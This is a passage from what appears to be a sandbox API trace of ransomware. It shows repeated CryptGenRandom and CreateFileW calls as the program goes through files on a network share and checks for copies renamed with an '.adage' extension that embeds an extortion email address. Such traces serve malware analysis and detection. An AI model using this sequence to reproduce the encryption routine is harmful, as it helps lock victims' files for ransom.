CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P3XntTjRFtRk.png" (normalized: "\\\\192.168.0.1\\documents\\p3xnttjrftrk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.668] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0143.668] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D2y4L1elku1D.pps" (normalized: "\\\\192.168.0.1\\documents\\d2y4l1elku1d.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0143.716] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=22692) returned 1 [0143.716] CloseHandle (hObject=0x228) returned 1 [0143.717] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D2y4L1elku1D.pps" (normalized: "\\\\192.168.0.1\\documents\\d2y4l1elku1d.pps")) returned 0x80 [0143.717] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D2y4L1elku1D.pps.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\d2y4l1elku1d.pps.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0143.717] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D2y4L1elku1D.pps" (normalized: "\\\\192.168.0.1\\documents\\d2y4l1elku1d.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.941] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0143.941] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TqvR2yMTxIsft9J01h3.m4a" (normalized: "\\\\192.168.0.1\\documents\\tqvr2ymtxisft9j01h3.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0144.073] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=78597) returned 1 [0144.073] CloseHandle (hObject=0x228) returned 1 [0144.073] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TqvR2yMTxIsft9J01h3.m4a" (normalized: "\\\\192.168.0.1\\documents\\tqvr2ymtxisft9j01h3.m4a")) returned 0x80 [0144.082] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TqvR2yMTxIsft9J01h3.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\tqvr2ymtxisft9j01h3.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0144.082] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TqvR2yMTxIsft9J01h3.m4a" (normalized: "\\\\192.168.0.1\\documents\\tqvr2ymtxisft9j01h3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.190] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0144.190] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eMZLYEuOXmzJe.avi" (normalized: "\\\\192.168.0.1\\documents\\emzlyeuoxmzje.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0144.231] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=44769) returned 1 [0144.231] CloseHandle (hObject=0x228) returned 1 [0144.231] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eMZLYEuOXmzJe.avi" (normalized: "\\\\192.168.0.1\\documents\\emzlyeuoxmzje.avi")) returned 0x80 [0144.232] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eMZLYEuOXmzJe.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\emzlyeuoxmzje.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0144.232] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eMZLYEuOXmzJe.avi" (normalized: "\\\\192.168.0.1\\documents\\emzlyeuoxmzje.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.105] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0145.105] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yPKKv7fQ4YK.mkv" (normalized: "\\\\192.168.0.1\\documents\\ypkkv7fq4yk.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0145.199] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=31115) returned 1 [0145.199] CloseHandle (hObject=0x228) returned 1 [0145.199] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yPKKv7fQ4YK.mkv" (normalized: "\\\\192.168.0.1\\documents\\ypkkv7fq4yk.mkv")) returned 0x80 [0145.200] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yPKKv7fQ4YK.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ypkkv7fq4yk.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0145.200] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yPKKv7fQ4YK.mkv" (normalized: "\\\\192.168.0.1\\documents\\ypkkv7fq4yk.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.230] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0145.230] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YMZNKV4.mkv" (normalized: "\\\\192.168.0.1\\documents\\ymznkv4.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0145.233] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=30021) returned 1 [0145.233] CloseHandle (hObject=0x228) returned 1 [0145.233] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YMZNKV4.mkv" (normalized: "\\\\192.168.0.1\\documents\\ymznkv4.mkv")) returned 0x80 [0145.233] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YMZNKV4.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ymznkv4.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0145.233] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YMZNKV4.mkv" (normalized: "\\\\192.168.0.1\\documents\\ymznkv4.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.727] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0145.764] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4Qalr2j5fIEqdQ0.swf" (normalized: "\\\\192.168.0.1\\documents\\4qalr2j5fieqdq0.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0145.893] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=98778) returned 1 [0145.893] CloseHandle (hObject=0x228) returned 1 [0145.893] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4Qalr2j5fIEqdQ0.swf" (normalized: "\\\\192.168.0.1\\documents\\4qalr2j5fieqdq0.swf")) returned 0x80 [0145.894] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4Qalr2j5fIEqdQ0.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\4qalr2j5fieqdq0.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0145.894] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4Qalr2j5fIEqdQ0.swf" (normalized: "\\\\192.168.0.1\\documents\\4qalr2j5fieqdq0.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.159] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0146.159] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2f5wUY1aFYJTCEwR.odp" (normalized: "\\\\192.168.0.1\\documents\\2f5wuy1afyjtcewr.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0146.316] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=73971) returned 1 [0146.316] CloseHandle (hObject=0x228) returned 1 [0146.316] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2f5wUY1aFYJTCEwR.odp" (normalized: "\\\\192.168.0.1\\documents\\2f5wuy1afyjtcewr.odp")) returned 0x80 [0146.316] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2f5wUY1aFYJTCEwR.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\2f5wuy1afyjtcewr.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0146.317] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2f5wUY1aFYJTCEwR.odp" (normalized: "\\\\192.168.0.1\\documents\\2f5wuy1afyjtcewr.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.684] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0147.684] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GCXxiNbD.avi" (normalized: "\\\\192.168.0.1\\documents\\gcxxinbd.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0147.793] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=32948) returned 1 [0147.793] CloseHandle (hObject=0x228) returned 1 [0147.794] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GCXxiNbD.avi" (normalized: "\\\\192.168.0.1\\documents\\gcxxinbd.avi")) returned 0x80 [0147.794] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GCXxiNbD.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\gcxxinbd.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0147.794] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GCXxiNbD.avi" (normalized: "\\\\192.168.0.1\\documents\\gcxxinbd.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.960] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0147.960] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7ZwyeX1xh.doc" (normalized: "\\\\192.168.0.1\\documents\\7zwyex1xh.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.095] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=34993) returned 1 [0148.095] CloseHandle (hObject=0x228) returned 1 [0148.099] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7ZwyeX1xh.doc" (normalized: "\\\\192.168.0.1\\documents\\7zwyex1xh.doc")) returned 0x80 [0148.102] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7ZwyeX1xh.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\7zwyex1xh.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.102] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7ZwyeX1xh.doc" (normalized: "\\\\192.168.0.1\\documents\\7zwyex1xh.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.491] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0149.491] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gh4zJ.pps" (normalized: "\\\\192.168.0.1\\documents\\gh4zj.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0149.587] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=74987) returned 1 [0149.587] CloseHandle (hObject=0x228) returned 1 [0149.588] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gh4zJ.pps" (normalized: "\\\\192.168.0.1\\documents\\gh4zj.pps")) returned 0x80 [0149.588] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gh4zJ.pps.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\gh4zj.pps.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0149.805] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gh4zJ.pps" (normalized: "\\\\192.168.0.1\\documents\\gh4zj.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.127] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0150.127] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\evMqhpDEt7CXv.mp3" (normalized: "\\\\192.168.0.1\\documents\\evmqhpdet7cxv.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0150.180] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=36656) returned 1 [0150.180] CloseHandle (hObject=0x228) returned 1 [0150.180] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\evMqhpDEt7CXv.mp3" (normalized: "\\\\192.168.0.1\\documents\\evmqhpdet7cxv.mp3")) returned 0x80 [0150.186] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\evMqhpDEt7CXv.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\evmqhpdet7cxv.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0150.690] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\evMqhpDEt7CXv.mp3" (normalized: "\\\\192.168.0.1\\documents\\evmqhpdet7cxv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.300] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0151.300] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ofYpMQKf1RjCMx.wav" (normalized: "\\\\192.168.0.1\\documents\\ofypmqkf1rjcmx.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0151.360] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=80609) returned 1 [0151.360] CloseHandle (hObject=0x228) returned 1 [0151.361] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ofYpMQKf1RjCMx.wav" (normalized: "\\\\192.168.0.1\\documents\\ofypmqkf1rjcmx.wav")) returned 0x80 [0151.361] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ofYpMQKf1RjCMx.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ofypmqkf1rjcmx.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0151.397] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ofYpMQKf1RjCMx.wav" (normalized: "\\\\192.168.0.1\\documents\\ofypmqkf1rjcmx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.728] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0151.728] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\umVoob.csv" (normalized: "\\\\192.168.0.1\\documents\\umvoob.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0151.896] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=48195) returned 1 [0151.896] CloseHandle (hObject=0x228) returned 1 [0151.896] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\umVoob.csv" (normalized: "\\\\192.168.0.1\\documents\\umvoob.csv")) returned 0x80 [0151.897] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\umVoob.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\umvoob.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0152.081] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\umVoob.csv" (normalized: "\\\\192.168.0.1\\documents\\umvoob.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.328] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0152.328] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhwQOJysH9.jpg" (normalized: "\\\\192.168.0.1\\documents\\ahwqojysh9.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0152.381] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=53741) returned 1 [0152.382] CloseHandle (hObject=0x228) returned 1 [0152.382] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhwQOJysH9.jpg" (normalized: "\\\\192.168.0.1\\documents\\ahwqojysh9.jpg")) returned 0x80 [0152.382] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhwQOJysH9.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ahwqojysh9.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0152.510] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhwQOJysH9.jpg" (normalized: "\\\\192.168.0.1\\documents\\ahwqojysh9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.390] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0153.391] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6R7qq9DkqNA3WVHMTs.doc" (normalized: "\\\\192.168.0.1\\documents\\6r7qq9dkqna3wvhmts.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0153.795] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=64848) returned 1 [0153.795] CloseHandle (hObject=0x228) returned 1 [0153.797] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6R7qq9DkqNA3WVHMTs.doc" (normalized: "\\\\192.168.0.1\\documents\\6r7qq9dkqna3wvhmts.doc")) returned 0x80 [0153.805] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6R7qq9DkqNA3WVHMTs.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\6r7qq9dkqna3wvhmts.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0153.927] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6R7qq9DkqNA3WVHMTs.doc" (normalized: "\\\\192.168.0.1\\documents\\6r7qq9dkqna3wvhmts.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.142] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0155.142] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5n4Otxttbgfrkyd1Qv.mp3" (normalized: "\\\\192.168.0.1\\documents\\5n4otxttbgfrkyd1qv.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0155.383] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=37602) returned 1 [0155.383] CloseHandle (hObject=0x224) returned 1 [0155.384] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5n4Otxttbgfrkyd1Qv.mp3" (normalized: "\\\\192.168.0.1\\documents\\5n4otxttbgfrkyd1qv.mp3")) returned 0x80 [0155.384] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5n4Otxttbgfrkyd1Qv.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\5n4otxttbgfrkyd1qv.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0156.343] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5n4Otxttbgfrkyd1Qv.mp3" (normalized: "\\\\192.168.0.1\\documents\\5n4otxttbgfrkyd1qv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.719] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0156.719] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\B2EjwcG.xls" (normalized: "\\\\192.168.0.1\\documents\\b2ejwcg.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0156.767] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=87468) returned 1 [0156.767] CloseHandle (hObject=0x224) returned 1 [0156.768] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\B2EjwcG.xls" (normalized: "\\\\192.168.0.1\\documents\\b2ejwcg.xls")) returned 0x80 [0156.768] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\B2EjwcG.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\b2ejwcg.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0156.912] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\B2EjwcG.xls" (normalized: "\\\\192.168.0.1\\documents\\b2ejwcg.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.470] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0157.471] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1WjGsbbxyz9w44lK.jpg" (normalized: "\\\\192.168.0.1\\documents\\1wjgsbbxyz9w44lk.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0158.153] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=72203) returned 1 [0158.153] CloseHandle (hObject=0x224) returned 1 [0158.153] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1WjGsbbxyz9w44lK.jpg" (normalized: "\\\\192.168.0.1\\documents\\1wjgsbbxyz9w44lk.jpg")) returned 0x80 [0158.154] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1WjGsbbxyz9w44lK.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: 